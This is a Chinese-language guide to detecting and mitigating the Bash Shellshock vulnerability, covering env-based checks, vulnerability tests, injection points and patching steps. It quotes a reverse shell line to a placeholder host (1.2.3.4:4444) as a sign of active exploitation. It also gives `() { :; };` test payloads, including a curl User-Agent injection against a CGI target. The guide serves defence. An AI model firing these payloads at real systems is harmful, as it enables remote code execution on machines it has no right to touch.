shellshock是bash 4.3及之前版本的环境变量解析漏洞,攻击者通过构造形如x='() { :; }; cmd'的变量,在子进程启动时触发代码执行;需用env排查可疑变量、实测验证并升级至含cve-2014-6271补丁的bash版本。

直接用 env 指令本身无法“封堵”Shellshock漏洞,但它是非常关键的排查入口——因为该漏洞的本质就是恶意代码藏在环境变量里,在子进程启动时被 Bash 错误解析执行。排查要围绕“哪些环境变量可能被污染”,封堵则需阻断恶意变量的注入路径和执行条件。
一、用 env 快速识别可疑函数型环境变量
Shellshock 的典型特征是:某个环境变量的值以 () { :; }; 开头,后面紧跟着任意命令。这种结构本应只是字符串,但有漏洞的 Bash 会把它当作函数定义并执行尾部命令。
- 运行
env | grep -E '^\w+=\(\) \{.*;\}.*$',筛选出疑似被植入函数定义的变量 - 重点检查 CGI 相关变量(如
HTTP_USER_AGENT、HTTP_REFERER、QUERY_STRING),Web 服务常把这些 HTTP 头转为环境变量传给 Bash 脚本 - 若发现类似
foo='() { :; }; /bin/bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'的条目,说明已存在活跃利用痕迹
二、验证当前系统是否仍受 Shellshock 影响
不能只看 Bash 版本号,必须实测解析行为。以下命令在目标 shell 下运行(注意空格敏感):
-
env x='() { :; }; echo vulnerable' bash -c "echo test"—— 若输出vulnerable和test,说明未修复 -
env -i x='() { :; }; echo pwned' bash -c ":" 2>/dev/null || echo "not vulnerable"—— 更干净的检测方式,避免干扰变量 - 对 Web 服务,可构造 HTTP 请求头:
curl -H "User-Agent: () { :; }; /bin/bash -c 'echo hello > /tmp/shellshock_test'" http://target/cgi-bin/test.sh,再检查/tmp/shellshock_test
三、从 env 入手定位高危注入点
不是所有环境变量都危险,关键是找出哪些服务会把不可信输入自动转为环境变量并调用 Bash:
- 检查 CGI 脚本:进入
/usr/lib/cgi-bin/或/var/www/cgi-bin/,找.sh文件,查看是否以#!/bin/bash开头且读取$QUERY_STRING或$HTTP_* - 检查 SSH 强制命令:查看
~/.ssh/authorized_keys中是否有command="..."且调用 Bash 的条目 - 检查 DHCP 客户端脚本:某些旧版
dhclient-script会将 DHCP 服务器返回的选项(如 hostname)设为环境变量后执行 Bash 片段 - 运行
ps auxf | grep bash,结合cat /proc/<pid>/environ | tr '\0' '\n'</pid>查看具体进程加载了哪些变量
四、封堵思路:切断变量注入 + 限制 Bash 执行上下文
修复不是靠改 env 命令,而是分层阻断:
-
升级 Bash 到安全版本:Debian/Ubuntu 执行
sudo apt update && sudo apt install --only-upgrade bash;RHEL/CentOS 用sudo yum update bash;确认版本 ≥ 4.3-048(或带 CVE-2014-6271 补丁) -
禁用非必要 Bash 调用:将 CGI 脚本解释器改为
#!/bin/sh(dash)或#!/usr/bin/env python3;避免用system()、popen()等调用 Bash -
清理高危环境变量:在调用 Bash 前,用
env -i启动干净环境,或显式清除:unset $(env | grep -E '^(HTTP_|QUERY_STRING|REQUEST_METHOD)' | cut -d= -f1) -
加固服务配置:Apache 设置
CGIPassAuth off,Nginx 不将请求头直接映射为环境变量;SSH 禁用AcceptEnv *,只允许明确需要的变量











